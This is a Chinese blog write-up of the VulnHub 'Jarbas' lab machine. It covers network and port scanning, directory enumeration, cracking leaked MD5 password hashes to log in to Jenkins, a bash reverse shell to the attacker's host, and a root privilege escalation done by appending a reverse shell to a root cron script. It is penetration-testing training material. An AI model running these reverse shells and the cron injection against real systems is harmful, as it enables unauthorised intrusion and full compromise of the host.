Jabrbas

已于 2023-04-03 15:41:23 修改
阅读量333 收藏
点赞数
分类专栏： 靶机 文章标签： 服务器 网络 网络安全 web安全
于 2023-04-02 16:37:23 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_52387684/article/details/129912785
版权

地址：https://www.vulnhub.com/entry/jarbas-1,232/

1、主机发现

sudo nmap -sn 192.168.239.0/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 16:33 CST
Nmap scan report for 192.168.239.1
Host is up (0.00071s latency).
MAC Address: 00:50:56:C0:00:03 (VMware)
Nmap scan report for 192.168.239.132
Host is up (0.00063s latency).
MAC Address: 00:0C:29:34:B4:7F (VMware)
Nmap scan report for 192.168.239.254
Host is up (0.00010s latency).
MAC Address: 00:50:56:ED:A6:56 (VMware)
Nmap scan report for 192.168.239.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.01 seconds

2、端口扫描

  1. 扫描全端口

     nmap --min-rate 10000 -p- 192.168.239.132           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 16:35 CST
Nmap scan report for 192.168.239.132
Host is up (0.0011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:34:B4:7F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 17.11 seconds

    再扫一遍

    ┌──(de1te㉿de1te)-[~]
└─$ sudo nmap --min-rate 10000 -p- 192.168.239.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 16:36 CST
Nmap scan report for 192.168.239.132
Host is up (0.000067s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:0C:29:34:B4:7F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.89 seconds

    开放了 22,80,3306,8080 端口

  2. 查看开放端口的协议版本和系统版本

    sudo nmap -sT -sV -O -p 22,80,3306,8080 192.168.239.132
Nmap scan report for 192.168.239.132
Host is up (0.00040s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
MAC Address: 00:0C:29:34:B4:7F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.09 seconds

  3. 看看有啥简单漏洞

    sudo nmap --script=vuln -p 22,80,3306,8080 192.168.239.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 16:42 CST
Nmap scan report for 192.168.239.132
Host is up (0.00027s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum: 
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:34:B4:7F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 38.03 seconds

    发现8080端口下有robots，看看有啥

    # we don't want robots to click "build" links
User-agent: *
Disallow: /

    没啥信息

总结一下：80和8080端口开着，首先看一下web方向吧

3、web方向

  1. 审一下网站
    80端口下：
    在这里插入图片描述

    8080端口下
    在这里插入图片描述

    一个登录页面，一般有三种方式获取登录账户和密码

    • 默认密码
    • 网站中存在泄露信息
    • 爆破

  2. 目录爆破

    sudo gobuster dir -u 192.168.239.132 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt   
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.239.132
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/27 17:00:06 Starting gobuster in directory enumeration mode
===============================================================
Progress: 20023 / 62285 (32.15%)[ERROR] 2023/03/27 17:00:09 [!] parse "http://192.168.239.132/error\x1f_log": net/url: invalid control character in URL
Progress: 61964 / 62285 (99.48%)
===============================================================
2023/03/27 17:00:14 Finished
===============================================================

    没啥东西，加几个文件后缀试一下

    sudo gobuster dir -u 192.168.239.132 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.239.132
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
2023/03/27 17:01:30 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 32808]
/access.html          (Status: 200) [Size: 359]
/.html                (Status: 403) [Size: 207]
Progress: 66397 / 186855 (35.53%)[ERROR] 2023/03/27 17:01:39 [!] parse "http://192.168.239.132/besalu\t.html": net/url: invalid control character in URL
[ERROR] 2023/03/27 17:01:39 [!] parse "http://192.168.239.132/besalu\t.php": net/url: invalid control character in URL
Progress: 70235 / 186855 (37.59%)[ERROR] 2023/03/27 17:01:39 [!] parse "http://192.168.239.132/error\x1f_log": net/url: invalid control character in URL
[ERROR] 2023/03/27 17:01:39 [!] parse "http://192.168.239.132/error\x1f_log.html": net/url: invalid control character in URL
[ERROR] 2023/03/27 17:01:39 [!] parse "http://192.168.239.132/error\x1f_log.php": net/url: invalid control character in URL
/.html                (Status: 403) [Size: 207]
/index.html           (Status: 200) [Size: 32808]
/.html                (Status: 403) [Size: 207]
Progress: 183153 / 186855 (98.02%)
===============================================================
2023/03/27 17:01:54 Finished
===============================================================

    有个access.html 页面，看一下

    Creds encrypted in a safe way!

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

    emm,后面想md5加密

    sudo hash-identifier '5978a63b4654c73c60fa24f836386d87'    
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

    果然是MD5
    解密一下

    5978a63b4654c73c60fa24f836386d87:italia99
9b38e2b1e8b12f426b0d208a7ab6cb98:vipsu
f463f63616cb3f1e81ce46b39f882fd5:marianna

    现在有了一下信息

    tiago : italia99
trindade : vipsu
eder : marianna

    都不行，排列组合一下
    eder vipsu 可以
    或者，集束炸弹爆破一下

    • burpsuite

      结果：
      在这里插入图片描述

      eder---->vipsu

  3. jenkins 漏洞利用
    应该是这个：CVE-2019-10352
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    漏洞利用：
    反弹shell

    /bin/bash -i >& /dev/tcp/192.168.239.129/4444 0>&1

    开启端口监听：

    sudo nc -lvnp 4444

    获得反弹shell

    bash-4.2$ ls

4、提权

bash-4.2$ whoami  # 查看当前用户
whoami
jenkins
bash-4.2$ uname -a   # 查看系统版本
uname -a 
Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ sudo -l   # 查看当前用户权限
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of oth ers.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified
bash-4.2$ cat /etc/passwd  # 查看所以用户
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:997:User for polkitd:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false

bash-4.2$ cat /etc/crontab  # 查看自动任务脚本
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

# 查看自动任务脚本
cat /etc/script/CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt


# 看看能不能写入
cho '/bin/bash -i >& /dev/tcp/192.168.239.129/4443 0>&1' >>/etc/script/CleaningScript.sh

成功：

┌──(de1te㉿de1te)-[~]                                                                                     │└─$ 
└─$ sudo nc -lvnp 4443                                                                                    │┌──(de1te㉿de1te)-[~]
[sudo] de1te 的密码：                                                                                     │└─$ ip a
listening on [any] 4443 ...                                                                               │1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
connect to [192.168.239.129] from (UNKNOWN) [192.168.239.132] 33726                                       │    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
bash: no job control in this shell                                                                        │    inet 127.0.0.1/8 scope host lo
[root@jarbas ~]#                                                                                          │       valid_lft forever preferred_lft forever
                                                                                                          │    inet6 ::1/128 scope host 
[root@jarbas ~]# ls                                                                                       │       valid_lft forever preferred_lft forever
ls                                                                                                        │2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
flag.txt                                                                                                  │    link/ether 00:0c:29:4c:a6:2d brd ff:ff:ff:ff:ff:ff
[root@jarbas ~]# cat flag.txt                                                                             │    inet 192.168.239.129/24 brd 192.168.239.255 scope global dynamic noprefixroute eth0
cat flag.txt                                                                                              │       valid_lft 903sec preferred_lft 903sec
Hey!                                                                                                      │    inet6 fe80::20c:29ff:fe4c:a62d/64 scope link noprefixroute 
                                                                                                          │       valid_lft forever preferred_lft forever
Congratulations! You got it! I always knew you could do it!                                               │                                                                                                        
This challenge was very easy, huh? =)                                                                     │┌──(de1te㉿de1te)-[~]
                                                                                                          │└─$ 
Thanks for appreciating this machine.                                                                     │
                                                                                                          │
@tiagotvrs                                                                                                │
[root@jarbas ~]#
南舍QAQ
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
Java||Springboot读取本地目录的文件和文件结构，读取服务器文档目录数据供前端渲染的API实现
RenGJ010617的博客
05-18 1236
将服务器的工作目录渲染到前端页面上是经常遇到需要实现的需求，其中通过后端API读取本地目录，获取文件信息和文件系统层级数据是篇博客将要谈到的主要内容。
服务器数据恢复—KVM虚拟机被误删除怎么恢复数据？
beiya123的博客
05-17 199
9、针对存放程序代码的服务器中的节点和目录项丢失的情况，若节点或目录项有残留，可以尝试去补齐节点和目录项。如果文件的节点和目录项同时丢失，在这种情况下，根据节点和目录项之间相关联的特性则无法补齐节点和目录项。针对运行数据库的服务器中的数据库文件有丢失的情况，可以通过从自由空间中获取数据库页的方式去修补数据库文件。7、从自由空间中获取有效信息，尝试修补虚拟磁盘文件的节点，目录项以及虚拟磁盘文件中的数据库页等数据。4、完成索引的修复后解析服务器中残留的各级索引，从被误删除虚拟机所在的卷中提取虚拟磁盘文件。
idea配置ssh、sftp连接服务器，docker插件使用，极其方便，无需再开第三方软件去操作服务器了，集成用于Idea一体
m0_69594200的博客
05-21 176
Idea中终端操作服务器，配置SFTP，idea编辑服务器文件，可以拖拽上传，安装Docker插件，在Idea中就可以构建镜像，查看容器日志等操作，非常方便
服务器端口转发，服务器端口转发的作用、好处与坏处
day3ZY的博客
05-21 506
这种技术通常用于将外部网络流量转发到内部网络中的特定服务，或者将内部网络中的服务暴露给外部网络。因此，在使用服务器端口转发技术时，需要谨慎配置和管理，确保其能够有效地提高网络安全性并实现灵活的网络访问控制，同时避免引入新的安全风险。2. 网络管理复杂度提高：随着网络规模的扩大和服务数量的增加，端口转发的配置和管理难度也会相应增加。2. 隐藏内部网络的真实结构，增加网络安全性。1. 将公网访问的流量转发到内部网络中的特定服务器，如Web服务器、数据库服务器等，使得外部用户可以访问到内部的服务资源。
【Linux】Centos7.6忘记root密码重置
wei的博客
05-18 161
Centos7.6忘记root密码重置，暴力破解root密码
Vue如何打包上传至服务器？及其步骤。打包后刷新页面404怎么解决？
qingdouxiaohua的博客
05-17 157
打开你的Vue项目所在的文件夹，使用VSCode或其他你喜欢的编辑器打开。 在VSCode的终端中，输入npm run build（假设你的package.json文件中已经配置好了这个命令）。这个命令会启动Vue的打包过程，将你的项目打包成一个可以在服务器上运行的静态文件。 打包完成后，你会在项目根目录下看到一个名为dist的文件夹，这个文件夹中就是打包后的静态文件。
服务器没有图形界面没有显示器怎么办
Yonggie的博客
05-14 392
有L P R三种模式。本地端口转发（ssh -L）意味着是SSH客户端（本机，windows）开始侦听新端口。远程端口转发（ssh -R）意味着是sshd服务器开始侦听额外的端口。或者换个写法。
Linux下Rsyncd服务简介
Tassel_YUE的博客
05-17 669
rsyncd是rsync的守护进程模式，可以在服务器上运行，允许客户端通过网络连接到服务器进行文件同步。它支持基于模块的配置，提供了丰富的访问控制和日志功能。联动rsyncd以及其他的服务或命令，可以实现如定时同步自动备份等功能。
定时监测服务器磁盘是否超过阈值，超过就删除docker 镜像
最新发布
Austin_的博客
05-21 299
定时监测服务器磁盘是否查过阈值，超过就删除docker 镜像
openEuler系统通过shell脚本安装openGauss 5.0.0企业版
Gauss松鼠会
05-21 976
除了安装openGauss的shell脚本外，还需要准备两个配置文件，一个是openGauss集群的配置文件：cluster_config.xml；上次提到的开机自启动的配置，获得了LD的称赞，然而LD的要求，都是“既得陇复望蜀”的，他又期望我们能实现openGauss安装的“自动化”，于是尝试了下用shell脚本部署，附件中的脚本实测有效，openEuler 20.03 LTS通过shell脚本建议操作部署openGauss 5.0.0企业版成功。4.9 install，安装需要输入数据库的密码；
linux中ansible整理笔记
qq_42750608的博客
05-20 784
linux中ansible整理笔记
什么是站群服务器？
wanhengwangluo的博客
05-17 279
站群服务器一般会配备多个独立的IP地址，会支持不同的C段，这样会使它们非常适合用来管理和优化多个网站，并且站群服务可以提高网站的可见性，因为能为每个网站提供独立的IP地址，所以能够更好的控制和管理网站之间的链接，以此来提高整体的SEO效果。站群服务器是一种特殊配置的服务器，它可以为单个网站或者是多个网站提供独立IP地址，站群服务器最主要的优势就是能够提供多个独立的IP资源，这个可以提高网站的搜索引擎排名以及网站的权重，对于网站SEO优化有着特别重要的作用。
【Linux】进程，查看硬件信息，定时任务，查看文件信息
yannan20190313的博客
05-20 596
【Linux】进程，查看硬件信息（cpu，内存，块设备，磁盘，分区），定时任务（日期，时间同步，crontab，anacrontab），查看文件信息（ll，file，stat，文件类型，/proc目录）
【MySQL精通之路】MySQL的使用(3)-连接到服务器的配置
Anakki的博客
05-20 1040
本节介绍了大多数MySQL客户端程序支持的选项，这些选项这些选项可以在命令行或配置文件中给出。
美国10G口服务器适合干什么?
RAKsmart123的博客
05-17 241
　　美国10G口服务器，作为一种高性能的服务器设备，凭借其出色的性能和广泛的应用领域，成为了众多企业和个人用户的首选。下面，我们将对美国10G口服务器进行科普介绍，并探讨其适用场合。
Linux 日志排查的各种手法（持续更新中）
sszdzq的博客
05-17 365
Linux 日志排查的各种手法，文件查看方式，查询关键字最近出现的位置，实时查看最新日志
使用MPLS解决BGP的路由黑洞（详解）
qq_64302290的博客
05-18 323
我们知道在MPLS中数据的转发不再依靠路由表而是靠标签（注意：标签是在路由的基础上形成的）。所以在BGP中，我们依靠的就是这个特性来解决BGP的路由黑洞。BGP路由黑洞的解释：BGP的路由黑洞其实就是路由层面可达，数据层面不可达。（你可以收到对方的路由，但是不能和对方通讯。
【无标题】思科交换路由中路由引入实验指南
m0_74259494的博客
05-20 343
路由引入是网络设计中的一个重要概念，它允许不同路由协议之间的路由信息交换。在思科网络设备中，路由引入可以增强网络的连通性和效率。本文将介绍路由引入的基本概念，并通过一个实验来演示如何在思科路由器中实现路由引入。通过本次实验，我们学习了路由引入的概念，并在思科路由器上成功实现了RIP和OSPF协议之间的路由引入。2. **路由汇总**：将多个路由汇总为一个更广泛的路由，以减少路由表的大小并优化路由信息的传播。1. **重分布**：将一种路由协议的路由信息引入到另一种路由协议中。### 步骤4：路由引入配置。
计算机网络
zengkui198513的博客
05-15 492
上面的每一个问题是每一层都必须面对的也都必须要解决的。每一层而且必须要覆盖上面的信息！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值